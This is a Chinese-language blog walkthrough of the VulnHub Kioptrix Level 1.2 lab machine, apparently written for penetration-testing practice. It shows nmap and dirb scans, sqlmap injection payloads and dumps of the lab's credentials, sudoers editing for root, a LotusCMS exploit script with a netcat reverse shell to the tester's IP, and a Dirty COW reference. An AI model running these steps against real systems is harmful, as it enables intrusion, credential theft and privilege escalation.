PJzhang:vulnhub靶机Kioptrix系列KIOPTRIX:LEVEL 1.2

猫宁~~~

 

地址:https://www.vulnhub.com/entry/kioptrix-level-12-3,24/

重点关注工具使用和测试思路。

kali linux IP 192.168.100.6

nmap 192.168.100.0/24

发现靶机IP 192.168.100.18

nmap -sV -p1-65535 192.168.100.18

扫描开启的所有端口

80和22端口

nmap -A 192.168.100.18

22/tcp open  ssh     OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)

80/tcp open  http    

Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)

Running: Linux 2.6.X

OS CPE: cpe:/o:linux:linux_kernel:2.6

OS details: Linux 2.6.9 - 2.6.33

以上都是很关键的信息。

访问http://192.168.100.18,跳转http://192.168.100.18/index.php

有一个登录界面

http://192.168.100.18/index.php?system=Admin

使用了LotusCMS

dirb http://192.168.100.18

扫描路径

http://192.168.100.18/modules/

http://192.168.100.18/phpmyadmin/

http://192.168.100.18/gallery/

http://192.168.100.18/phpmyadmin/changelog.php

phpadmin的版本2.11.3.0 (2007-12-08)

访问http://192.168.100.18/gallery/,跳转kioptrix3.com域名

绑定hosts,vim /etc/hosts

添加192.168.100.18  kioptrix3.com 

点击Home标签

http://kioptrix3.com/gallery/index.php

sqlmap启动

sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1"

web server operating system: Linux Ubuntu 8.04 (Hardy Heron)

web application technology: PHP 5.2.4, PHP, Apache 2.2.8

back-end DBMS: MySQL >= 4.

Type: boolean-based blind

Title: Boolean-based blind - Parameter replace (original value)

Payload: id=(SELECT (CASE WHEN (4360=4360) THEN 1 ELSE (SELECT 3778 UNION SELECT 5815) END))

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: id=1 AND (SELECT 8858 FROM (SELECT(SLEEP(5)))aeHh)

sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1" --dbs

数据库

sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1" -D gallery --tables

数据库表格

sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1" -D gallery -T gallarific_users --columns

查看数据库内容栏 

sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1" -D gallery -T gallarific_users -C username,password --dump

用户名admin,密码n0t7t1k4

sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1" -D gallery -T dev_accounts -C username,password --dump

dreg   0d3eccfb887aabd50f243b3f155c0f85 (Mast3r)

loneferret   5badcaf789d3d1d09794d8f021f40f0e (starwars)

ssh loneferret@192.168.100.18   starwars,登录成功,dreg也可以

cat CompanyPolicy.README

Please use the command 'sudo ht'.

sudo ht,显示Error opening terminal: xterm-256color.

export TERM=xterm-color

sudo ht,进入HT editor,点击F3

在files上方处输入/etc/sudoers,回车

loneferret ALL=NOPASSWD: !/usr/bin/su, /usr/local/bin/ht

行尾添加,/bin/bash,逗号很重要

F2保存,ctrl+C退出。

注意,我的kali linux是安装在虚拟机上,通过windows10的命令行连接,显示的HT editor和在kai linux上的不一样,如果添加,/bin/bash 一定在真实kali linux上操作才可以成功。

sudo /bin/bash,提权成功。

换其他思路

http://192.168.100.18/phpmyadmin/

账号admin,空密码登录

LotusCMS

https://github.com/Hood3dRob1n/LotusCMS-Exploit

./LotusRCE.sh 192.168.100.18 /index.php

本地IP

192.168.100.6

转发端口

4444

选择netcat -e

nc -lvnp 4444

whoami,显示www-data,获取普通权限

python -c 'import pty;pty.spawn("/bin/bash")'

www-data@Kioptrix3

ls

cd gallery

cat gconfig.php

获取phpadmin密码root,fuckeyou

gallery---dev_accounts---username,password

https://www.somd5.com/

dreg   0d3eccfb887aabd50f243b3f155c0f85 (Mast3r)

loneferret   5badcaf789d3d1d09794d8f021f40f0e (starwars)

uname -a

Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686 GNU/Linux

脏牛提权(过程EXP描述中有)

https://www.exploit-db.com/exploits/40616

 

posted @ 2020-09-08 01:15  PJzhang  阅读(700)  评论(0编辑  收藏  举报